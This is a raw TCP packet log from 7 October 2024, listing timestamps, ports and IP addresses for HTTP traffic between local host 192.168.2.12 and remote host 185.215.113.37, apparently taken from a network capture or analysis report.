Oct 7, 2024 18:03:22.975526094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975527048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975544930 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975558043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975594044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975605965 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975626945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975650072 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975662947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975672960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975704908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975713968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975747108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975753069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975780010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975790977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975812912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975821972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975846052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975861073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975878954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975891113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975912094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975944042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.975970030 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.975979090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.976022959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.976099014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.976131916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.976175070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.977423906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.977484941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.977705956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.977754116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.977760077 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.977787018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.977796078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.977819920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.977849007 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.977855921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.977859020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.977905035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.977952957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.977963924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.977989912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.977993011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978030920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978038073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978068113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978085995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978099108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978113890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978135109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978167057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978185892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978210926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978517056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978544950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978569984 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978586912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978593111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978626966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978641033 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978655100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978671074 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978687048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978704929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978719950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978733063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978763103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.978799105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978831053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.978876114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979001045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979053974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979136944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979165077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979203939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979217052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979569912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979605913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979631901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979639053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979654074 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979671955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979705095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979707956 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979737043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979768991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979796886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979800940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979816914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979835033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979849100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979863882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979897976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.979909897 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.979948044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.980293036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.980340958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.980370998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.980379105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.980386019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.980407953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.980439901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.980453968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.980473995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.980479002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.980520964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981146097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981178999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981218100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981225967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981259108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981259108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981267929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981292009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981297016 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981333017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981340885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981374979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981385946 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981406927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981419086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981441021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981456041 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981472969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981498003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981508017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981518030 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981559992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981601000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981632948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981664896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981678009 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981698036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.981710911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981739998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.981935024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.982027054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.982031107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.982059956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.982074022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.982091904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.982105970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.982125998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.982137918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.982160091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.982167959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.982203960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.982271910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.982306004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.982331038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.982357025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.982378006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.982409000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:22.982419014 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:22.982449055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.168565989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.168694973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.168704033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.168715000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.168726921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.168737888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.168747902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.168761015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.168761969 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.168832064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.168962955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.168973923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.168986082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.168996096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169003010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.169006109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169018030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169027090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169027090 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.169039011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169050932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169064045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.169107914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.169661045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169672012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169681072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169691086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169701099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169709921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169718981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.169719934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169730902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169740915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169750929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169758081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.169761896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169774055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.169784069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.169806004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.170290947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.170331955 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.170398951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.170408010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.170449972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.172251940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172286034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172296047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172302961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.172313929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.172332048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.172493935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172504902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172514915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172523975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172535896 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.172563076 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.172741890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172754049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172770977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172780037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172790051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172799110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.172800064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172811985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172821999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172832012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.172832012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.172848940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.172875881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.173369884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173383951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173393965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173403978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173413992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173418045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.173424959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173434973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173435926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.173445940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173456907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173464060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.173477888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.173506975 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.173757076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173769951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173820019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.173901081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173911095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173921108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173926115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173935890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173945904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.173954010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173963070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.173964977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173975945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173985958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.173990011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.173996925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174006939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174010038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.174016953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174027920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174029112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.174056053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.174073935 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.174673080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174685955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174696922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174706936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174717903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174722910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.174751997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.174793005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.174804926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174850941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.174865007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174875975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174885035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174895048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174902916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.174906969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174917936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.174935102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.174957991 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.287133932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.287154913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.287166119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.287225962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.288609982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288655043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288659096 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.288665056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288691998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.288705111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.288753033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288765907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288774967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288806915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288806915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.288820028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288830996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288841009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288849115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.288852930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288865089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.288866997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.288896084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.288907051 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.289274931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.289285898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.289297104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.289314032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.289340973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.289374113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.289407015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.289417028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.289427042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.289436102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.289467096 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.289479017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.290132046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.290143967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.290160894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.290170908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.290182114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.290194035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.290221930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.290232897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.290245056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.290252924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.290256023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.290266991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:23.290278912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:23.290297985 CEST	49711	80	192.168.2.12	185.215.113.37
